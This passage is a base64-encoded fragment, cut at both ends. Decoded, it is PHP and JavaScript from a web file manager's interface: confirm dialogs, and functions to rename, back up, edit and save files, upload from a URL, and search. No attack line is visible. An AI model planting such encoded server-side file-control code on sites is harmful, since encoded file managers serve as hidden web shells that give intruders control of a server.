vbiIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIGJvcmRlci1lbmQiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnT2theScpID8+PC9zdHJvbmc+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDwhLS0gQ29uZmlybSBNb2RhbCAtLT4KICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJqcy10cGwtY29uZmlybSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBtb2RhbC1hbGVydCBjb25maXJtRGFpbG9nIiBkYXRhLWJzLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEtYnMta2V5Ym9hcmQ9ImZhbHNlIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgaWQ9ImNvbmZpcm1EYWlsb2ctPCV0aGlzLmlkJT4iIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHJvbGU9ImRvY3VtZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9Im1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvdyIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiIgYWN0aW9uPSI8JXRoaXMuYWN0aW9uJT4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibWItMiI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvJykgPz4gPCV0aGlzLnRpdGxlJT4gPzwvaDU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9Im1iLTEiPjwldGhpcy5jb250ZW50JT48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciBmbGV4LW5vd3JhcCBwLTAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/Pjwvc3Ryb25nPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICA8P3BocAogICAgfQoKICAgIC8qKgogICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpbgogICAgICovCiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpCiAgICB7CiAgICAgICAgPz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+CiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PgogICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnktZGF0YXRhYmxlcycpOyA/PgogICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PgogICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz4KICAgICAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgICAgIGhsanMuaGlnaGxpZ2h0QWxsKCk7CiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTsKICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgZnVuY3Rpb24gdGVtcGxhdGUoaHRtbCwgb3B0aW9ucykgewogICAgICAgICAgICAgICAgdmFyIHJlID0gLzxcJShbXlwlPl0rKT9cJT4vZywKICAgICAgICAgICAgICAgICAgICByZUV4cCA9IC8oXiggKT8oaWZ8Zm9yfGVsc2V8c3dpdGNofGNhc2V8YnJlYWt8e3x9KSkoLiopPy9nLAogICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XG4nLAogICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IDAsCiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7CiAgICAgICAgICAgICAgICB2YXIgYWRkID0gZnVuY3Rpb24obGluZSwganMpIHsKICAgICAgICAgICAgICAgICAgICBqcyA/IChjb2RlICs9IGxpbmUubWF0Y2gocmVFeHApID8gbGluZSArICdcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XG4nKSA6IChjb2RlICs9IGxpbmUgIT0gJycgPyAnci5wdXNoKCInICsgbGluZS5yZXBsYWNlKC8iL2csICdcXCInKSArICciKTtcbicgOiAnJyk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFkZAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgd2hpbGUgKG1hdGNoID0gcmUuZXhlYyhodG1sKSkgewogICAgICAgICAgICAgICAgICAgIGFkZChodG1sLnNsaWNlKGN1cnNvciwgbWF0Y2guaW5kZXgpKShtYXRjaFsxXSwgITApOwogICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBhZGQoaHRtbC5zdWJzdHIoY3Vyc29yLCBodG1sLmxlbmd0aCAtIGN1cnNvcikpOwogICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbigiIik7JzsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKC9bXHJcdFxuXS9nLCAnJykpLmFwcGx5KG9wdGlvbnMpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmFtZShlLCB0KSB7CiAgICAgICAgICAgICAgICBpZiAodCkgewogICAgICAgICAgICAgICAgICAgICQoIiNqcy1yZW5hbWUtZnJvbSIpLnZhbCh0KTsKICAgICAgICAgICAgICAgICAgICAkKCIjanMtcmVuYW1lLXRvIikudmFsKHQpOwogICAgICAgICAgICAgICAgICAgICQoIiNyZW5hbWVEYWlsb2ciKS5tb2RhbCgnc2hvdycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBjaGFuZ2VfY2hlY2tib3hlcyhlLCB0KSB7CiAgICAgICAgICAgICAgICBmb3IgKHZhciBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgZVtuXS5jaGVja2VkID0gImJvb2xlYW4iID09IHR5cGVvZiB0ID8gdCA6ICFlW25dLmNoZWNrZWQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZ2V0X2NoZWNrYm94ZXMoKSB7CiAgICAgICAgICAgICAgICBmb3IgKHZhciBlID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoImZpbGVbXSIpLCB0ID0gW10sIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKShlW25dLnR5cGUgPSAiY2hlY2tib3giKSAmJiB0LnB1c2goZVtuXSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdAogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBzZWxlY3RfYWxsKCkgewogICAgICAgICAgICAgICAgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITApCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHVuc2VsZWN0X2FsbCgpIHsKICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKQogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkgewogICAgICAgICAgICAgICAgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSkKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gY2hlY2tib3hfdG9nZ2xlKCkgewogICAgICAgICAgICAgICAgdmFyIGUgPSBnZXRfY2hlY2tib3hlcygpOwogICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgZmlsZSBiYWNrdXAgd2l0aCAuYmNrCiAgICAgICAgICAgIGZ1bmN0aW9uIGJhY2t1cChlLCB0KSB7CiAgICAgICAgICAgICAgICB2YXIgbiA9IG5ldyBYTUxIdHRwUmVxdWVzdCwKICAgICAgICAgICAgICAgICAgICBhID0gInBhdGg9IiArIGUgKyAiJmZpbGU9IiArIHQgKyAiJnRva2VuPSIgKyB3aW5kb3cuY3NyZiArICImdHlwZT1iYWNrdXAmYWpheD10cnVlIjsKICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oIlBPU1QiLCAiIiwgITApLCBuLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICA0ID09IG4ucmVhZHlTdGF0ZSAmJiAyMDAgPT0gbi5zdGF0dXMgJiYgdG9hc3Qobi5yZXNwb25zZVRleHQpCiAgICAgICAgICAgICAgICB9LCBuLnNlbmQoYSksICExCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFRvYXN0IG1lc3NhZ2UKICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7CiAgICAgICAgICAgICAgICB2YXIgeCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzbmFja2JhciIpOwogICAgICAgICAgICAgICAgeC5pbm5lckhUTUwgPSB0eHQ7CiAgICAgICAgICAgICAgICB4LmNsYXNzTmFtZSA9ICJzaG93IjsKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKCJzaG93IiwgIiIpOwogICAgICAgICAgICAgICAgfSwgMzAwMCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNhdmUgZmlsZQogICAgICAgICAgICBmdW5jdGlvbiBlZGl0X3NhdmUoZSwgdCkgewogICAgICAgICAgICAgICAgdmFyIG4gPSAiYWNlIiA9PSB0ID8gZWRpdG9yLmdldFNlc3Npb24oKS5nZXRWYWx1ZSgpIDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm5vcm1hbC1lZGl0b3IiKS52YWx1ZTsKICAgICAgICAgICAgICAgIGlmICh0eXBlb2YgbiAhPT0gJ3VuZGVmaW5lZCcgJiYgbiAhPT0gbnVsbCkgewogICAgICAgICAgICAgICAgICAgIGlmICh0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IG4sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2tlbjogd2luZG93LmNzcmYKICAgICAgICAgICAgICAgICAgICAgICAgfTsKCiAgICAgICAgICAgICAgICAgICAgICAgICQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGU6ICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKG1lcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCJTYXZlZCBTdWNjZXNzZnVsbHkiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZhaWx1cmU6IGZ1bmN0aW9uKG1lcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCJFcnJvcjogdHJ5IGFnYWluIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KGA8cCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZWQiPiR7bWVzLnJlc3BvbnNlVGV4dH08L3A+YCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpOwogICAgICAgICAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgibWV0aG9kIiwgIlBPU1QiKSwgYS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsICIiKTsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG8gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0ZXh0YXJlYSIpOwogICAgICAgICAgICAgICAgICAgICAgICBvLnNldEF0dHJpYnV0ZSgidHlwZSIsICJ0ZXh0YXJlYSIpLCBvLnNldEF0dHJpYnV0ZSgibmFtZSIsICJzYXZlZGF0YSIpOwogICAgICAgICAgICAgICAgICAgICAgICBsZXQgY3ggPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpOwogICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoInR5cGUiLCAiaGlkZGVuIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZSgibmFtZSIsICJ0b2tlbiIpOwogICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoInZhbHVlIiwgd2luZG93LmNzcmYpOwogICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pOwogICAgICAgICAgICAgICAgICAgICAgICBvLmFwcGVuZENoaWxkKGMpLCBhLmFwcGVuZENoaWxkKG8pLCBhLmFwcGVuZENoaWxkKGN4KSwgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKSwgYS5zdWJtaXQoKQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkgewogICAgICAgICAgICAgICAgJCgiLmpzLW5ldy1wd2QiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNhdmUgU2V0dGluZ3MKICAgICAgICAgICAgZnVuY3Rpb24gc2F2ZV9zZXR0aW5ncygkdGhpcykgewogICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKTsKICAgICAgICAgICAgICAgICQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSwKICAgICAgICAgICAgICAgICAgICB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksCiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArICImdG9rZW49IiArIHdpbmRvdy5jc3JmICsgIiZhamF4PSIgKyB0cnVlLAogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvL0NyZWF0ZSBuZXcgcGFzc3dvcmQgaGFzaAogICAgICAgICAgICBmdW5jdGlvbiBuZXdfcGFzc3dvcmRfaGFzaCgkdGhpcykgewogICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSwKICAgICAgICAgICAgICAgICAgICAkcHdkID0gJCgiI2pzLXB3ZC1yZXN1bHQiKTsKICAgICAgICAgICAgICAgICRwd2QudmFsKCcnKTsKICAgICAgICAgICAgICAgICQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSwKICAgICAgICAgICAgICAgICAgICB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksCiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArICImdG9rZW49IiArIHdpbmRvdy5jc3JmICsgIiZhamF4PSIgKyB0cnVlLAogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFVwbG9hZCBmaWxlcyB1c2luZyBVUkwgQHBhcmFtIHtPYmplY3R9CiAgICAgICAgICAgIGZ1bmN0aW9uIHVwbG9hZF9mcm9tX3VybCgkdGhpcykgewogICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSwKICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJCgiZGl2I2pzLXVybC11cGxvYWRfX2xpc3QiKTsKICAgICAgICAgICAgICAgICQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSwKICAgICAgICAgICAgICAgICAgICB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksCiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArICImdG9rZW49IiArIHdpbmRvdy5jc3JmICsgIiZhamF4PSIgKyB0cnVlLAogICAgICAgICAgICAgICAgICAgIGJlZm9yZVNlbmQ6IGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLmF0dHIoImRpc2FibGVkIiwgImRpc2FibGVkIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiYnV0dG9uIikuaGlkZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5hZGRDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSA9IEpTT04ucGFyc2UoZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5kb25lKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3Mgcm93Ij5VcGxvYWRlZCBTdWNjZXNzZnVsOiAnICsgZGF0YS5kb25lLm5hbWUgKyAnPC9kaXY+Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCJpbnB1dFtuYW1lPXVwbG9hZHVybF0iKS52YWwoJycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChkYXRhWydmYWlsJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyLmFwcGVuZCgnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIHJvdyI+RXJyb3I6ICcgKyBkYXRhLmZhaWwubWVzc2FnZSArICc8L2Rpdj4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiaW5wdXRbbmFtZT11cGxvYWR1cmxdIikucmVtb3ZlQXR0cigiZGlzYWJsZWQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKCIubGRzLWZhY2Vib29rIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKHhocikgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoImlucHV0W25hbWU9dXBsb2FkdXJsXSIpLnJlbW92ZUF0dHIoImRpc2FibGVkIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZCgiYnV0dG9uIikuc2hvdygpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoIi5sZHMtZmFjZWJvb2siKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKHhocik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNlYXJjaCB0ZW1wbGF0ZQogICAgICAgICAgICBmdW5jdGlvbiBzZWFyY2hfdGVtcGxhdGUoZGF0YSkgewogICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlID0gIiI7CiAgICAgICAgICAgICAgICAkLmVhY2goZGF0YSwgZnVuY3Rpb24oa2V5LCB2YWwpIHsKICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9Ij9wPSR7dmFsLnBhdGh9JnZpZXc9JHt2YWwubmFtZX0iPiR7dmFsLnBhdGh9LyR7dmFsLm5hbWV9PC9hPjwvbGk+YDsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBBZHZhbmNlIHNlYXJjaAogICAgICAgICAgICBmdW5jdGlvbiBmbV9zZWFyY2goKSB7CiAgICAgICAgICAgICAgICB2YXIgc2VhcmNoVHh0ID0gJCgiaW5wdXQjYWR2YW5jZWQtc2VhcmNoIikudmFsKCksCiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlciA9ICQoInVsI3NlYXJjaC13cmFwcGVyIiksCiAgICAgICAgICAgICAgICAgICAgcGF0aCA9ICQoIiNqcy1zZWFyY2gtbW9kYWwiKS5hdHRyKCJocmVmIiksCiAgICAgICAgICAgICAgICAgICAgX2h0bWwgPSAiIiwKICAgICAgICAgICAgICAgICAgICAkbG9hZGVyID0gJCgiZGl2Lmxkcy1mYWNlYm9vayIpOwogICAgICAgICAgICAgICAgaWYgKCEhc2VhcmNoVHh0ICYmIHNlYXJjaFR4dC5sZW5ndGggPiAyICYmIHBhdGgpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgZGF0YSA9IHsKICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogc2VhcmNoVHh0LAogICAgICAgICAgICAgICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJywKICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmCiAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICBkYXRhOiBkYXRhLAogICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLmFkZENsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKGRhdGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEgJiYgZGF0YS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfaHRtbCA9IHNlYXJjaF90ZW1wbGF0ZShkYXRhKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPk5vIHJlc3VsdCBmb3VuZCE8cD4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgIC